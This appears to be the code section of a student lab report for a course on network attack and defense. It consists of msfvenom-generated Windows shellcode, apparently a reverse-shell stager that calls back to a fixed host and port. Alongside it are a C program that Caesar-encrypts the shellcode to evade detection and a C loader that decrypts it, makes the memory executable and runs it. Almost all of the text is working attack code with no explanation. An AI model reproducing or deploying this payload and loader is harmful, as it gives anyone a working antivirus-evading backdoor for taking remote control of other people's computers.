20222326 2024-2025-1 《网络与系统攻防技术》实验三实验报告

unsigned char buf[] = 
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"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
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"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
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"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
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"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18"
"\x56\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
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"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
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"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50\x49\x01\xd0\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
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"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 凯撒加密函数
void caesar_encrypt(unsigned char *data, size_t length, int key) {
    for (size_t i = 0; i < length; ++i) {
        data[i] = (data[i] + key) % 256;
    }
}

int main() {
    // 从msfvenom生成的Shellcode
    const unsigned char shellcode[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18"
"\x56\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50\x49\x01\xd0\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58"
"\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x09\x16\xc0\xa8\x55\x90\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5"
    };

    // Shellcode的长度
    size_t shellcode_len = sizeof(shellcode) - 1;

    // 加密密钥
    int key = 3;  // 可以选择任何整数作为密钥

    // 创建一个副本用于加密
    unsigned char encrypted_shellcode[shellcode_len];
    memcpy(encrypted_shellcode, shellcode, shellcode_len);

    // 对Shellcode进行凯撒加密
    caesar_encrypt(encrypted_shellcode, shellcode_len, key);

    // 将加密后的Shellcode写入文件
    FILE *file = fopen("MW2326.txt", "wb");
    if (file == NULL) {
        perror("无法打开文件");
        return 1;
    }

    fwrite(encrypted_shellcode, 1, shellcode_len, file);
    fclose(file);

    printf("加密后的Shellcode已写入MW2326.txt\n");

    return 0;
}

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 凯撒解密函数
void caesar_decrypt(unsigned char *data, size_t length, int key) {
    for (size_t i = 0; i < length; ++i) {
        data[i] = (data[i] - key + 256) % 256;
    }
}

int main() {
    // 打开并读取加密后的Shellcode文件
    FILE *file = fopen("MW2326.txt", "rb");
    if (file == NULL) {
        perror("无法打开文件");
        return 1;
    }

    // 获取文件大小
    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    // 分配内存来存储加密后的Shellcode
    unsigned char *encrypted_shellcode = (unsigned char *)malloc(file_size);
    if (encrypted_shellcode == NULL) {
        perror("内存分配失败");
        fclose(file);
        return 1;
    }

    // 读取加密后的Shellcode
    if (fread(encrypted_shellcode, 1, file_size, file) != file_size) {
        perror("读取文件失败");
        free(encrypted_shellcode);
        fclose(file);
        return 1;
    }

    // 关闭文件
    fclose(file);

    // 解密密钥
    int key = 3;  // 与加密时使用的密钥相同

    // 对Shellcode进行凯撒解密
    caesar_decrypt(encrypted_shellcode, file_size, key);

    // 修改内存页属性，使其可执行
    DWORD old_protect;
    if (!VirtualProtect(encrypted_shellcode, file_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("VirtualProtect失败: %d\n", GetLastError());
        free(encrypted_shellcode);
        return 1;
    }

    // 使用函数指针调用解密后的Shellcode
    void (*func)() = (void (*)())encrypted_shellcode;
    func();

    // 释放内存
    free(encrypted_shellcode);

    return 0;
}